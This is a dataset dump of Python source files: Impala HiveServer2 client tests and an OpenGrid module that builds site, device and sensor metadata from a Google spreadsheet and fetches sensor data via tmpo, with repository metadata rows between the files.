assert "Expression overflowed, returning NULL" in log
@needs_session()
def test_get_exec_summary(self):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(1) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
exec_summary_req = ImpalaHiveServer2Service.TGetExecSummaryReq()
exec_summary_req.operationHandle = execute_statement_resp.operationHandle
exec_summary_req.sessionHandle = self.session_handle
exec_summary_resp = self.hs2_client.GetExecSummary(exec_summary_req)
# Test getting the summary while query is running. We can't verify anything
# about the summary (depends how much progress query has made) but the call
# should work.
TestHS2.check_response(exec_summary_resp)
close_operation_req = TCLIService.TCloseOperationReq()
close_operation_req.operationHandle = execute_statement_resp.operationHandle
TestHS2.check_response(self.hs2_client.CloseOperation(close_operation_req))
exec_summary_resp = self.hs2_client.GetExecSummary(exec_summary_req)
TestHS2.check_response(exec_summary_resp)
assert len(exec_summary_resp.summary.nodes) > 0
@needs_session()
def test_get_profile(self):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(2) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
get_profile_req = ImpalaHiveServer2Service.TGetRuntimeProfileReq()
get_profile_req.operationHandle = execute_statement_resp.operationHandle
get_profile_req.sessionHandle = self.session_handle
get_profile_resp = self.hs2_client.GetRuntimeProfile(get_profile_req)
TestHS2.check_response(get_profile_resp)
assert execute_statement_req.statement in get_profile_resp.profile
close_operation_req = TCLIService.TCloseOperationReq()
close_operation_req.operationHandle = execute_statement_resp.operationHandle
TestHS2.check_response(self.hs2_client.CloseOperation(close_operation_req))
get_profile_resp = self.hs2_client.GetRuntimeProfile(get_profile_req)
TestHS2.check_response(get_profile_resp)
assert execute_statement_req.statement in get_profile_resp.profile
| 45.41129 | 90 | 0.78796 |
import pytest
from tests.hs2.hs2_test_suite import HS2TestSuite, needs_session, operation_id_to_query_id
from TCLIService import TCLIService
from ImpalaService import ImpalaHiveServer2Service
from ExecStats.ttypes import TExecState
class TestHS2(HS2TestSuite):
def test_open_session(self):
open_session_req = TCLIService.TOpenSessionReq()
TestHS2.check_response(self.hs2_client.OpenSession(open_session_req))
def test_open_session_unsupported_protocol(self):
open_session_req = TCLIService.TOpenSessionReq()
open_session_req.protocol_version = \
TCLIService.TProtocolVersion.HIVE_CLI_SERVICE_PROTOCOL_V7
open_session_resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(open_session_resp)
assert open_session_resp.serverProtocolVersion == \
TCLIService.TProtocolVersion.HIVE_CLI_SERVICE_PROTOCOL_V6
def test_close_session(self):
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
close_session_req = TCLIService.TCloseSessionReq()
close_session_req.sessionHandle = resp.sessionHandle
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req))
def test_double_close_session(self):
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
close_session_req = TCLIService.TCloseSessionReq()
close_session_req.sessionHandle = resp.sessionHandle
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req))
# Double close should be an error
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req),
TCLIService.TStatusCode.ERROR_STATUS)
@needs_session()
def test_get_operation_status(self):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(*) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
get_operation_status_req = TCLIService.TGetOperationStatusReq()
get_operation_status_req.operationHandle = execute_statement_resp.operationHandle
get_operation_status_resp = \
self.hs2_client.GetOperationStatus(get_operation_status_req)
TestHS2.check_response(get_operation_status_resp)
assert get_operation_status_resp.operationState in \
[TCLIService.TOperationState.INITIALIZED_STATE,
TCLIService.TOperationState.RUNNING_STATE,
TCLIService.TOperationState.FINISHED_STATE]
@needs_session()
def test_malformed_get_operation_status(self):
operation_handle = TCLIService.TOperationHandle()
operation_handle.operationId = TCLIService.THandleIdentifier()
operation_handle.operationId.guid = "short"
operation_handle.operationId.secret = "short_secret"
assert len(operation_handle.operationId.guid) != 16
assert len(operation_handle.operationId.secret) != 16
operation_handle.operationType = TCLIService.TOperationType.EXECUTE_STATEMENT
operation_handle.hasResultSet = False
get_operation_status_req = TCLIService.TGetOperationStatusReq()
get_operation_status_req.operationHandle = operation_handle
get_operation_status_resp = \
self.hs2_client.GetOperationStatus(get_operation_status_req)
TestHS2.check_response(get_operation_status_resp,
TCLIService.TStatusCode.ERROR_STATUS)
err_msg = "(guid size: %d, expected 16, secret size: %d, expected 16)" \
% (len(operation_handle.operationId.guid),
len(operation_handle.operationId.secret))
assert err_msg in get_operation_status_resp.status.errorMessage
@pytest.mark.execute_serially
def test_socket_close_forces_session_close(self):
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
num_sessions = self.impalad_test_service.get_metric_value(
"impala-server.num-open-hiveserver2-sessions")
assert num_sessions > 0
self.socket.close()
self.socket = None
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions - 1)
@pytest.mark.execute_serially
def test_multiple_sessions(self):
num_sessions = self.impalad_test_service.get_metric_value(
"impala-server.num-open-hiveserver2-sessions")
session_ids = []
for _ in xrange(5):
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
# Check that all sessions get different IDs
assert resp.sessionHandle not in session_ids
session_ids.append(resp.sessionHandle)
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions + 5)
self.socket.close()
self.socket = None
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions)
@needs_session()
def test_get_schemas(self):
get_schemas_req = TCLIService.TGetSchemasReq()
get_schemas_req.sessionHandle = self.session_handle
get_schemas_resp = self.hs2_client.GetSchemas(get_schemas_req)
TestHS2.check_response(get_schemas_resp)
fetch_results_req = TCLIService.TFetchResultsReq()
fetch_results_req.operationHandle = get_schemas_resp.operationHandle
fetch_results_req.maxRows = 100
fetch_results_resp = self.hs2_client.FetchResults(fetch_results_req)
TestHS2.check_response(fetch_results_resp)
query_id = operation_id_to_query_id(get_schemas_resp.operationHandle.operationId)
profile_page = self.impalad_test_service.read_query_profile_page(query_id)
# Test fix for IMPALA-619
assert "Sql Statement: GET_SCHEMAS" in profile_page
assert "Query Type: DDL" in profile_page
def get_log(self, query_stmt):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = query_stmt
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
# Fetch results to make sure errors are generated
fetch_results_req = TCLIService.TFetchResultsReq()
fetch_results_req.operationHandle = execute_statement_resp.operationHandle
fetch_results_req.maxRows = 100
fetch_results_resp = self.hs2_client.FetchResults(fetch_results_req)
TestHS2.check_response(fetch_results_resp)
get_log_req = TCLIService.TGetLogReq()
get_log_req.operationHandle = execute_statement_resp.operationHandle
get_log_resp = self.hs2_client.GetLog(get_log_req)
TestHS2.check_response(get_log_resp)
return get_log_resp.log
@needs_session()
def test_get_log(self):
# Test query that generates BE warnings
log = self.get_log("select * from functional.alltypeserror")
assert "Error converting column" in log
# Test overflow warning
log = self.get_log("select cast(1000 as decimal(2, 1))")
assert "Expression overflowed, returning NULL" in log
@needs_session()
def test_get_exec_summary(self):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(1) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
exec_summary_req = ImpalaHiveServer2Service.TGetExecSummaryReq()
exec_summary_req.operationHandle = execute_statement_resp.operationHandle
exec_summary_req.sessionHandle = self.session_handle
exec_summary_resp = self.hs2_client.GetExecSummary(exec_summary_req)
# Test getting the summary while query is running. We can't verify anything
TestHS2.check_response(exec_summary_resp)
close_operation_req = TCLIService.TCloseOperationReq()
close_operation_req.operationHandle = execute_statement_resp.operationHandle
TestHS2.check_response(self.hs2_client.CloseOperation(close_operation_req))
exec_summary_resp = self.hs2_client.GetExecSummary(exec_summary_req)
TestHS2.check_response(exec_summary_resp)
assert len(exec_summary_resp.summary.nodes) > 0
@needs_session()
def test_get_profile(self):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(2) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
get_profile_req = ImpalaHiveServer2Service.TGetRuntimeProfileReq()
get_profile_req.operationHandle = execute_statement_resp.operationHandle
get_profile_req.sessionHandle = self.session_handle
get_profile_resp = self.hs2_client.GetRuntimeProfile(get_profile_req)
TestHS2.check_response(get_profile_resp)
assert execute_statement_req.statement in get_profile_resp.profile
close_operation_req = TCLIService.TCloseOperationReq()
close_operation_req.operationHandle = execute_statement_resp.operationHandle
TestHS2.check_response(self.hs2_client.CloseOperation(close_operation_req))
get_profile_resp = self.hs2_client.GetRuntimeProfile(get_profile_req)
TestHS2.check_response(get_profile_resp)
assert execute_statement_req.statement in get_profile_resp.profile
| true | true |
f73c3466942ebb0b1a546e66db563d87006af755 | 19,277 | py | Python | opengrid_dev/library/houseprint/houseprint.py | opengridcc/opengrid_dev | cc6dc9d615197e4901a8d213fe81fc71bcd602c4 | [
"Apache-2.0"
] | 8 | 2018-03-29T08:36:10.000Z | 2022-02-07T12:48:46.000Z | opengrid_dev/library/houseprint/houseprint.py | opengridcc/opengrid_dev | cc6dc9d615197e4901a8d213fe81fc71bcd602c4 | [
"Apache-2.0"
] | 2 | 2017-11-06T18:32:02.000Z | 2017-11-06T20:23:39.000Z | opengrid_dev/library/houseprint/houseprint.py | opengridcc/opengrid_dev | cc6dc9d615197e4901a8d213fe81fc71bcd602c4 | [
"Apache-2.0"
] | 2 | 2017-11-10T12:30:27.000Z | 2019-04-15T16:32:25.000Z | __author__ = 'Jan Pecinovsky'
from opengrid_dev.config import Config
config = Config()
import os
import sys
import json
import jsonpickle
import datetime as dt
import pandas as pd
from requests.exceptions import HTTPError
import warnings
from tqdm import tqdm
# compatibility with py3
if sys.version_info.major >= 3:
import pickle
else:
import cPickle as pickle
import tmpo
# compatibility with py3
if sys.version_info.major >= 3:
from .site import Site
from .device import Device, Fluksometer
from .sensor import Sensor, Fluksosensor
else:
from site import Site
from device import Device, Fluksometer
from sensor import Sensor, Fluksosensor
"""
The Houseprint is a Singleton object which contains all metadata for sites, devices and sensors.
It can be pickled, saved and passed around
"""
class Houseprint(object):
def __init__(self,
gjson=None,
spreadsheet="Opengrid houseprint (Responses)",
empty_init=False
):
"""
Parameters
---------
gjson: Path to authentication json
spreadsheet: String, name of the spreadsheet containing the metadata
"""
self.sites = []
self.timestamp = dt.datetime.utcnow() # Add a timestamp upon creation
if not empty_init:
if gjson is None:
gjson = config.get('houseprint', 'json')
self.gjson = gjson
self.spreadsheet = spreadsheet
self._parse_sheet()
def reset(self):
"""
Connect to the Google Spreadsheet again and re-parse the data
"""
self.__init__(gjson=self.gjson, spreadsheet=self.spreadsheet)
if hasattr(self, '_tmpos'):
self._add_sensors_to_tmpos()
def __repr__(self):
return """
Houseprint
Created on {} (UTC)
{} sites
{} devices
{} sensors
""".format(self.timestamp,
len(self.sites),
sum([len(site.devices) for site in self.sites]),
sum([len(site.sensors) for site in self.sites])
)
def _parse_sheet(self):
"""
Connects to Google, fetches the spreadsheet and parses the content
"""
import gspread
from oauth2client.client import SignedJwtAssertionCredentials
print('Opening connection to Houseprint sheet')
# fetch credentials
json_key = json.load(open(self.gjson))
scope = ['https://spreadsheets.google.com/feeds']
credentials = SignedJwtAssertionCredentials(
json_key['client_email'],
json_key['private_key'].encode('ascii'),
scope
)
# authorize and login
gc = gspread.authorize(credentials)
gc.login()
# open sheets
print("Opening spreadsheets")
sheet = gc.open(self.spreadsheet)
sites_sheet = sheet.worksheet('Accounts')
devices_sheet = sheet.worksheet('Devices')
sensors_sheet = sheet.worksheet('Sensors')
print('Parsing spreadsheets')
# 3 sub-methods that parse the different sheets
self._parse_sites(sites_sheet)
self._parse_devices(devices_sheet)
self._parse_sensors(sensors_sheet)
print('Houseprint parsing complete')
def _parse_sites(self, sheet):
"""
Sub method of _parse_sheet() that parses only the 'sites' sheet
Parameters
----------
sheet: GSpread worksheet
sheet containing metadata about sites
"""
records = sheet.get_all_records()
for r in records:
if r['Key'] == '':
continue
new_site = Site(hp=self,
key=r['Key'],
size=r['House size'],
inhabitants=r['Number of inhabitants'],
postcode=r['postcode'],
construction_year=r['construction year'],
k_level=r['K-level'],
e_level=r['E-level'],
epc_cert=r['EPC certificate'])
self.sites.append(new_site)
print('{} Sites created'.format(len(self.sites)))
def _parse_devices(self, sheet):
"""
Sub method of _parse_sheet() that parses only the 'devices' sheet
Parameters
----------
sheet: GSpread worksheet
sheet containing metadata about devices
"""
records = sheet.get_all_records()
for r in records:
if r['Key'] == '':
continue
# find parent site and check if it exists
site = self.find_site(r['Parent site'])
if site is None:
raise ValueError('Device {} was given an invalid site key {}'.format(r['Key'], r['Parent site']))
# create a new device according to its manufacturer
if r['manufacturer'] == 'Flukso':
new_device = Fluksometer(site=site, key=r['Key'])
else:
raise NotImplementedError('Devices from {} are not supported'.format(r['manufacturer']))
# add new device to parent site
site.devices.append(new_device)
print('{} Devices created'.format(sum([len(site.devices) for site in self.sites])))
def _parse_sensors(self, sheet):
"""
Sub method of _parse_sheet() that parses only the 'sensors' sheet
Parameters
----------
sheet: GSpread worksheet
sheet containing metadata about sensors
"""
records = sheet.get_all_records()
for r in records:
if r['Sensor_id'] == '': continue
# find parent. If a parent device is specified, us that, otherwise use a parent site directly
if r['parent device'] != '':
device = self.find_device(r['parent device'])
if device is None:
raise ValueError(
'Sensor {} was given an invalid device key {}. \
Leave the device field empty if you want to add a sensor without a device'.format(
r['Sensor_id'], r['parent device']))
else:
site = self.find_site(r['parent site'])
if site is None:
raise ValueError(
'Sensor {} was given an invalid site key {}'.format(r['Sensor_id'], r['parent site']))
# create new sensor according to its manufacturer
if r['manufacturer'] == 'Flukso':
new_sensor = Fluksosensor(
device=device,
key=r['Sensor_id'],
token=r['token'],
type=r['sensor type'],
description=r['name by user'],
system=r['system'],
quantity=r['quantity'],
unit=r['unit'],
direction=r['direction'],
tariff=r['tariff'],
cumulative=None # will be determined based on type
)
else:
raise NotImplementedError('Sensors from {} are not supported'.format(r['manufacturer']))
new_sensor.device.sensors.append(new_sensor)
print('{} sensors created'.format(sum([len(site.sensors) for site in self.sites])))
def get_sensors(self, sensortype=None):
"""
Return a list with all sensors
Parameters
----------
sensortype: gas, water, electricity: optional
Returns
-------
list of sensors
"""
res = []
for site in self.sites:
for sensor in site.get_sensors(sensortype=sensortype):
res.append(sensor)
return res
def get_fluksosensors(self, **kwargs):
"""
Same thing as get_sensors, but only for fluksosensors
Parameters
----------
kwargs
Returns
-------
[Fluksosensor]
"""
return [sensor for sensor in self.get_sensors(**kwargs) if isinstance(
sensor, Fluksosensor)]
def get_devices(self):
"""
Return a list with all devices
Returns
-------
list of devices
"""
res = []
for site in self.sites:
for device in site.devices:
res.append(device)
return res
def search_sites(self, **kwargs):
"""
Parameters
----------
kwargs: any keyword argument, like key=mykey
Returns
-------
List of sites satisfying the search criterion or empty list if no
variable found.
"""
result = []
for site in self.sites:
for keyword, value in kwargs.items():
if getattr(site, keyword) == value:
continue
else:
break
else:
result.append(site)
return result
def search_sensors(self, **kwargs):
"""
Parameters
----------
kwargs: any keyword argument, like key=mykey
Returns
-------
List of sensors satisfying the search criterion or empty list if no
variable found.
"""
result = []
for sensor in self.get_sensors():
for keyword, value in kwargs.items():
if value in getattr(sensor, keyword):
continue
else:
break
else:
result.append(sensor)
return result
def find_site(self, key):
"""
Parameters
----------
key: string
Returns
-------
Site
"""
for site in self.sites:
if site.key == key:
return site
return None
def find_device(self, key):
"""
Parameters
----------
key: string
Returns
-------
Device
"""
for device in self.get_devices():
if device.key.lower() == key.lower():
return device
return None
def find_sensor(self, key):
"""
Parameters
----------
key: string
Returns
-------
Sensor
"""
for sensor in self.get_sensors():
if sensor.key.lower() == key.lower():
return sensor
return None
def save(self, filename, pickle_format='jsonpickle'):
"""
Save the houseprint object
Parameters
----------
* filename : str
Filename, if relative path or just filename, it is appended to the
current working directory
pickle_format : str
'jsonpickle' or 'pickle'
pickle may be more robust, but jsonpickle should be compatible
across python versions
"""
# temporarily delete tmpo session
try:
tmpos_tmp = self._tmpos
delattr(self, '_tmpos')
except:
pass
abspath = os.path.join(os.getcwd(), filename)
if pickle_format == 'jsonpickle':
with open(abspath, 'w') as f:
frozen = jsonpickle.encode(self)
f.write(frozen)
elif pickle_format == 'pickle':
with open(abspath, 'wb') as f:
pickle.dump(self, file=f)
else:
raise NotImplementedError("Pickle format '{}' is not supported".format(pickle_format))
print("Saved houseprint to {}".format(abspath))
# restore tmposession if needed
try:
setattr(self, '_tmpos', tmpos_tmp)
except:
pass
def init_tmpo(self, tmpos=None, path_to_tmpo_data=None):
"""
Flukso sensors need a tmpo session to obtain data.
It is overkill to have each flukso sensor make its own session, syncing would
take too long and be overly redundant.
Passing a tmpo session to the get_data function is also bad form because
we might add new types of sensors that don't use tmpo in the future.
This is why the session is initialised here.
A tmpo session as parameter is optional. If passed, no additional sensors are added.
If no session is passed, a new one will be created using the location in the config file.
It will then be populated with the flukso sensors known to the houseprint object
Parameters
----------
tmpos : tmpo session
path_to_tmpo_data : str
"""
if tmpos is not None:
self._tmpos = tmpos
else:
try:
path_to_tmpo_data = config.get('tmpo', 'data')
except:
path_to_tmpo_data = None
self._tmpos = tmpo.Session(path_to_tmpo_data)
self._add_sensors_to_tmpos()
print("Using tmpo database from {}".format(self._tmpos.db))
def _add_sensors_to_tmpos(self):
"""
Add all flukso sensors in the houseprint to the tmpo session
"""
for sensor in self.get_fluksosensors():
self._tmpos.add(sensor.key, sensor.token)
def get_tmpos(self):
"""
Returns
-------
TMPO session
"""
if hasattr(self, '_tmpos'):
return self._tmpos
else:
self.init_tmpo()
return self._tmpos
@property
def tmpos(self):
return self.get_tmpos()
def sync_tmpos(self, http_errors='warn'):
"""
Add all Flukso sensors to the TMPO session and sync
Parameters
----------
http_errors : 'raise' | 'warn' | 'ignore'
default 'warn'
define what should be done with TMPO Http-errors
"""
tmpos = self.get_tmpos()
for sensor in tqdm(self.get_fluksosensors()):
try:
warnings.simplefilter('ignore')
tmpos.sync(sensor.key)
warnings.simplefilter('default')
except HTTPError as e:
warnings.simplefilter('default')
if http_errors == 'ignore':
continue
elif http_errors == 'warn':
warnings.warn(message='Error for SensorID: ' + sensor.key
+ str(e))
else:
print('Error for SensorID: ' + sensor.key)
raise e
def get_data(self, sensors=None, sensortype=None, head=None, tail=None, diff='default', resample='min',
unit='default'):
"""
Return a Pandas Dataframe with joined data for the given sensors
Parameters
----------
sensors : list of Sensor objects
If None, use sensortype to make a selection
sensortype : string (optional)
gas, water, electricity. If None, and Sensors = None,
all available sensors in the houseprint are fetched
head, tail: timestamps,
diff : bool or 'default'
If True, the original data will be differentiated
If 'default', the sensor will decide: if it has the attribute
cumulative==True, the data will be differentiated.
resample : str (default='min')
Sampling rate, if any. Use 'raw' if no resampling.
unit : str , default='default'
String representation of the target unit, eg m**3/h, kW, ...
"""
if sensors is None:
sensors = self.get_sensors(sensortype)
series = [sensor.get_data(head=head, tail=tail, diff=diff, resample=resample, unit=unit) for sensor in sensors]
# workaround for https://github.com/pandas-dev/pandas/issues/12985
series = [s for s in series if not s.empty]
if series:
df = pd.concat(series, axis=1)
else:
df = pd.DataFrame()
# Add unit as string to each series in the df. This is not persistent: the attribute unit will get
# lost when doing operations with df, but at least it can be checked once.
for s in series:
try:
df[s.name].unit = s.unit
except:
pass
return df
def get_data_dynamic(self, sensors=None, sensortype=None, head=None,
tail=None, diff='default', resample='min',
unit='default'):
"""
Yield Pandas Series for the given sensors
Parameters
----------
sensors : list(Sensor), optional
If None, use sensortype to make a selection
sensortype : str, optional
gas, water, electricity. If None, and Sensors = None,
all available sensors in the houseprint are fetched
head : dt.datetime | pd.Timestamp | int, optional
tail : dt.datetime | pd.Timestamp | int, optional
diff : bool | str('default')
If True, the original data will be differentiated
If 'default', the sensor will decide: if it has the attribute
cumulative==True, the data will be differentiated.
resample : str
default='min'
Sampling rate, if any. Use 'raw' if no resampling.
unit : str
default='default'
String representation of the target unit, eg m**3/h, kW, ...
Yields
------
Pandas.Series
"""
if sensors is None:
sensors = self.get_sensors(sensortype)
for sensor in sensors:
ts = sensor.get_data(head=head, tail=tail, diff=diff,
resample=resample, unit=unit)
if ts.empty:
continue
else:
yield ts
def add_site(self, site):
"""
Parameters
----------
site : Site
"""
site.hp = self
self.sites.append(site)
def load_houseprint_from_file(filename, pickle_format='jsonpickle'):
"""
Return a static (=anonymous) houseprint object
Parameters
----------
filename : str
pickle_format : str
'jsonpickle' or 'pickle'
pickle may be more robust, but jsonpickle should be compatible
across python versions
"""
if pickle_format == 'jsonpickle':
with open(filename, 'r') as f:
hp = jsonpickle.decode(f.read())
elif pickle_format == 'pickle':
with open(filename, 'rb') as f:
hp = pickle.load(file=f)
else:
raise NotImplementedError("Pickle format '{}' is not supported".format(pickle_format))
return hp
| 31.091935 | 119 | 0.529076 | __author__ = 'Jan Pecinovsky'
from opengrid_dev.config import Config
config = Config()
import os
import sys
import json
import jsonpickle
import datetime as dt
import pandas as pd
from requests.exceptions import HTTPError
import warnings
from tqdm import tqdm
if sys.version_info.major >= 3:
import pickle
else:
import cPickle as pickle
import tmpo
if sys.version_info.major >= 3:
from .site import Site
from .device import Device, Fluksometer
from .sensor import Sensor, Fluksosensor
else:
from site import Site
from device import Device, Fluksometer
from sensor import Sensor, Fluksosensor
class Houseprint(object):
def __init__(self,
gjson=None,
spreadsheet="Opengrid houseprint (Responses)",
empty_init=False
):
self.sites = []
self.timestamp = dt.datetime.utcnow()
if not empty_init:
if gjson is None:
gjson = config.get('houseprint', 'json')
self.gjson = gjson
self.spreadsheet = spreadsheet
self._parse_sheet()
def reset(self):
self.__init__(gjson=self.gjson, spreadsheet=self.spreadsheet)
if hasattr(self, '_tmpos'):
self._add_sensors_to_tmpos()
def __repr__(self):
return """
Houseprint
Created on {} (UTC)
{} sites
{} devices
{} sensors
""".format(self.timestamp,
len(self.sites),
sum([len(site.devices) for site in self.sites]),
sum([len(site.sensors) for site in self.sites])
)
def _parse_sheet(self):
import gspread
from oauth2client.client import SignedJwtAssertionCredentials
print('Opening connection to Houseprint sheet')
json_key = json.load(open(self.gjson))
scope = ['https://spreadsheets.google.com/feeds']
credentials = SignedJwtAssertionCredentials(
json_key['client_email'],
json_key['private_key'].encode('ascii'),
scope
)
gc = gspread.authorize(credentials)
gc.login()
print("Opening spreadsheets")
sheet = gc.open(self.spreadsheet)
sites_sheet = sheet.worksheet('Accounts')
devices_sheet = sheet.worksheet('Devices')
sensors_sheet = sheet.worksheet('Sensors')
print('Parsing spreadsheets')
self._parse_sites(sites_sheet)
self._parse_devices(devices_sheet)
self._parse_sensors(sensors_sheet)
print('Houseprint parsing complete')
def _parse_sites(self, sheet):
records = sheet.get_all_records()
for r in records:
if r['Key'] == '':
continue
new_site = Site(hp=self,
key=r['Key'],
size=r['House size'],
inhabitants=r['Number of inhabitants'],
postcode=r['postcode'],
construction_year=r['construction year'],
k_level=r['K-level'],
e_level=r['E-level'],
epc_cert=r['EPC certificate'])
self.sites.append(new_site)
print('{} Sites created'.format(len(self.sites)))
def _parse_devices(self, sheet):
records = sheet.get_all_records()
for r in records:
if r['Key'] == '':
continue
site = self.find_site(r['Parent site'])
if site is None:
raise ValueError('Device {} was given an invalid site key {}'.format(r['Key'], r['Parent site']))
if r['manufacturer'] == 'Flukso':
new_device = Fluksometer(site=site, key=r['Key'])
else:
raise NotImplementedError('Devices from {} are not supported'.format(r['manufacturer']))
site.devices.append(new_device)
print('{} Devices created'.format(sum([len(site.devices) for site in self.sites])))
def _parse_sensors(self, sheet):
records = sheet.get_all_records()
for r in records:
if r['Sensor_id'] == '': continue
if r['parent device'] != '':
device = self.find_device(r['parent device'])
if device is None:
raise ValueError(
'Sensor {} was given an invalid device key {}. \
Leave the device field empty if you want to add a sensor without a device'.format(
r['Sensor_id'], r['parent device']))
else:
site = self.find_site(r['parent site'])
if site is None:
raise ValueError(
'Sensor {} was given an invalid site key {}'.format(r['Sensor_id'], r['parent site']))
if r['manufacturer'] == 'Flukso':
new_sensor = Fluksosensor(
device=device,
key=r['Sensor_id'],
token=r['token'],
type=r['sensor type'],
description=r['name by user'],
system=r['system'],
quantity=r['quantity'],
unit=r['unit'],
direction=r['direction'],
tariff=r['tariff'],
cumulative=None
)
else:
raise NotImplementedError('Sensors from {} are not supported'.format(r['manufacturer']))
new_sensor.device.sensors.append(new_sensor)
print('{} sensors created'.format(sum([len(site.sensors) for site in self.sites])))
def get_sensors(self, sensortype=None):
res = []
for site in self.sites:
for sensor in site.get_sensors(sensortype=sensortype):
res.append(sensor)
return res
def get_fluksosensors(self, **kwargs):
return [sensor for sensor in self.get_sensors(**kwargs) if isinstance(
sensor, Fluksosensor)]
def get_devices(self):
res = []
for site in self.sites:
for device in site.devices:
res.append(device)
return res
def search_sites(self, **kwargs):
result = []
for site in self.sites:
for keyword, value in kwargs.items():
if getattr(site, keyword) == value:
continue
else:
break
else:
result.append(site)
return result
def search_sensors(self, **kwargs):
result = []
for sensor in self.get_sensors():
for keyword, value in kwargs.items():
if value in getattr(sensor, keyword):
continue
else:
break
else:
result.append(sensor)
return result
def find_site(self, key):
for site in self.sites:
if site.key == key:
return site
return None
def find_device(self, key):
for device in self.get_devices():
if device.key.lower() == key.lower():
return device
return None
def find_sensor(self, key):
for sensor in self.get_sensors():
if sensor.key.lower() == key.lower():
return sensor
return None
def save(self, filename, pickle_format='jsonpickle'):
try:
tmpos_tmp = self._tmpos
delattr(self, '_tmpos')
except:
pass
abspath = os.path.join(os.getcwd(), filename)
if pickle_format == 'jsonpickle':
with open(abspath, 'w') as f:
frozen = jsonpickle.encode(self)
f.write(frozen)
elif pickle_format == 'pickle':
with open(abspath, 'wb') as f:
pickle.dump(self, file=f)
else:
raise NotImplementedError("Pickle format '{}' is not supported".format(pickle_format))
print("Saved houseprint to {}".format(abspath))
try:
setattr(self, '_tmpos', tmpos_tmp)
except:
pass
def init_tmpo(self, tmpos=None, path_to_tmpo_data=None):
if tmpos is not None:
self._tmpos = tmpos
else:
try:
path_to_tmpo_data = config.get('tmpo', 'data')
except:
path_to_tmpo_data = None
self._tmpos = tmpo.Session(path_to_tmpo_data)
self._add_sensors_to_tmpos()
print("Using tmpo database from {}".format(self._tmpos.db))
def _add_sensors_to_tmpos(self):
for sensor in self.get_fluksosensors():
self._tmpos.add(sensor.key, sensor.token)
def get_tmpos(self):
if hasattr(self, '_tmpos'):
return self._tmpos
else:
self.init_tmpo()
return self._tmpos
@property
def tmpos(self):
return self.get_tmpos()
def sync_tmpos(self, http_errors='warn'):
tmpos = self.get_tmpos()
for sensor in tqdm(self.get_fluksosensors()):
try:
warnings.simplefilter('ignore')
tmpos.sync(sensor.key)
warnings.simplefilter('default')
except HTTPError as e:
warnings.simplefilter('default')
if http_errors == 'ignore':
continue
elif http_errors == 'warn':
warnings.warn(message='Error for SensorID: ' + sensor.key
+ str(e))
else:
print('Error for SensorID: ' + sensor.key)
raise e
def get_data(self, sensors=None, sensortype=None, head=None, tail=None, diff='default', resample='min',
unit='default'):
if sensors is None:
sensors = self.get_sensors(sensortype)
series = [sensor.get_data(head=head, tail=tail, diff=diff, resample=resample, unit=unit) for sensor in sensors]
series = [s for s in series if not s.empty]
if series:
df = pd.concat(series, axis=1)
else:
df = pd.DataFrame()
for s in series:
try:
df[s.name].unit = s.unit
except:
pass
return df
def get_data_dynamic(self, sensors=None, sensortype=None, head=None,
tail=None, diff='default', resample='min',
unit='default'):
if sensors is None:
sensors = self.get_sensors(sensortype)
for sensor in sensors:
ts = sensor.get_data(head=head, tail=tail, diff=diff,
resample=resample, unit=unit)
if ts.empty:
continue
else:
yield ts
def add_site(self, site):
site.hp = self
self.sites.append(site)
def load_houseprint_from_file(filename, pickle_format='jsonpickle'):
if pickle_format == 'jsonpickle':
with open(filename, 'r') as f:
hp = jsonpickle.decode(f.read())
elif pickle_format == 'pickle':
with open(filename, 'rb') as f:
hp = pickle.load(file=f)
else:
raise NotImplementedError("Pickle format '{}' is not supported".format(pickle_format))
return hp
| true | true |
f73c34a37bf6f58b2256288d0b7bf7c9c602865d | 2,957 | py | Python | tests/chainer_tests/functions_tests/pooling_tests/test_roi_pooling_2d.py | takeratta/chainer | 02686e98cd6dc8f20979a1f3a79130f076cbfc6c | [
"MIT"
] | 1 | 2020-05-28T10:07:25.000Z | 2020-05-28T10:07:25.000Z | tests/chainer_tests/functions_tests/pooling_tests/test_roi_pooling_2d.py | takeratta/chainer | 02686e98cd6dc8f20979a1f3a79130f076cbfc6c | [
"MIT"
